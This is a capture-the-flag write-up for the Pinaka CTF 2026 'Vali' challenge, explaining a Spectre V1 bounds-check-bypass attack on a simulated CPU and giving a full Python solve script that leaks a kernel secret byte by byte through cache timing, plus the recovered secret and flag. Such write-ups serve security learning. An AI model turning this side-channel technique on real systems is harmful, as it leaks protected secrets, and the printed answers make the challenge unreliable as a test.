Vali: The Hidden Arrow

By Team Cryptonite · 1 min read

About the CTF: Pinaka CTF

A simulated VANARA-1 CPU guards a secret in kernel memory. The CPU faithfully executes your programs but enforces strict bounds on every access. The arrow that found Vali struck through the trees unseen - find the…

Vali: The Hidden Arrow

**Pinaka CTF 2026** · Binary exploitation · Team Cryptonite · All 44 Pinaka write-ups


A simulated VANARA-1 CPU guards a secret in kernel memory. The CPU faithfully executes your programs but enforces strict bounds on every access. The arrow that found Vali struck through the trees unseen - find the flaw in the CPU's defenses and recover the secret.

Validator: https://pinaka-k03-cyber-xo-x.vercel.app/

Solve

This is a microarch challenege

End points:


GET  /vanara/doc    -- ISA reference
POST /vanara/run    -- {program:<hex>} : run guest bytecode, returns {output:<hex>}
POST /vanara/claim  -- {secret:<recovered>} : disclose the secret to get the flag

It was Spectre V1 bounds check bypass

First we need to train the 2 bit bounds predictor with in bounds GINV calls (index 0). This biases the predictor to in bounds.

Then we FLUSH the cache to clear all the training memory

GINV i with i out of bounds. The predictor mispredicts in bunds, so the transient windo the gadget speculatively reads kernel_mem[i] (the secret byte b) and touches probe line 256 +b

before the guard resolves and stops the path.

now we can just scan tthe probe lines 256-511 with TIME

one hot line gives b = hot_line - 256 .

Required hex digest:


kishkindha::cb49ebd35c0f5256cf6606929a7f6cd9

Script:


#!/usr/bin/env python3
import sys
from pathlib import Path

import requests

sys.path.insert(0, str(Path(__file__).resolve().parent / "K03_player"))
from vanara_asm import assemble

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://pinaka-k03-cyber-xo-x.vercel.app"

PROBE_BASE_LINE = 256
PROBE_STRIDE = 64
NPROBE = 256
SECRET_START = 16
NTRAIN = 6


def leak_one(index):
    src = ["MOVI R7, 0"] + ["GINV R7"] * NTRAIN
    src += [
        "FLUSH",
        f"MOVI R7, {index}",
        "GINV R7",
        f"MOVI R1, {PROBE_BASE_LINE * PROBE_STRIDE}",
        f"MOVI R4, {PROBE_STRIDE}",
        f"MOVI R5, {NPROBE}",
        "MOVI R6, 0",
        "scan:",
        "TIME R2, R1",
        "OUT R2",
        "ADD R1, R1, R4",
        "ADDI R6, R6, 1",
        "CMPLT R3, R6, R5",
        "JNZ R3, scan",
        "HALT",
    ]
    program = assemble("\n".join(src)).hex()

    r = requests.post(f"{TARGET}/vanara/run", json={"program": program}, timeout=30)
    out = bytes.fromhex(r.json()["output"])
    return next(i for i, b in enumerate(out) if b)


def main():
    secret = bytearray()
    index = SECRET_START
    while True:
        byte = leak_one(index)
        if byte == 0:
            break
        secret.append(byte)
        print(f"[{index:3d}] 0x{byte:02x} {chr(byte) if 32 <= byte < 127 else '.'}")
        index += 1

    text = secret.decode()
    print(f"[+] secret: {text}")

    r = requests.post(f"{TARGET}/vanara/claim", json={"secret": text}, timeout=30)
    print(r.json())


if __name__ == "__main__":
    main()

curl output:


POST /vanara/claim
{"secret": "kishkindha::cb49ebd35c0f5256cf6606929a7f6cd9"}

{
  "result": "accepted",
  "proclamation": "The hidden arrow finds Vali through his own boon.",
  "flag": "PINAKA{vali_vadha_the_arrow_from_concealment}"
}

Flag:


PINAKA{vali_vadha_the_arrow_from_concealment}

Read this post on CyberHx →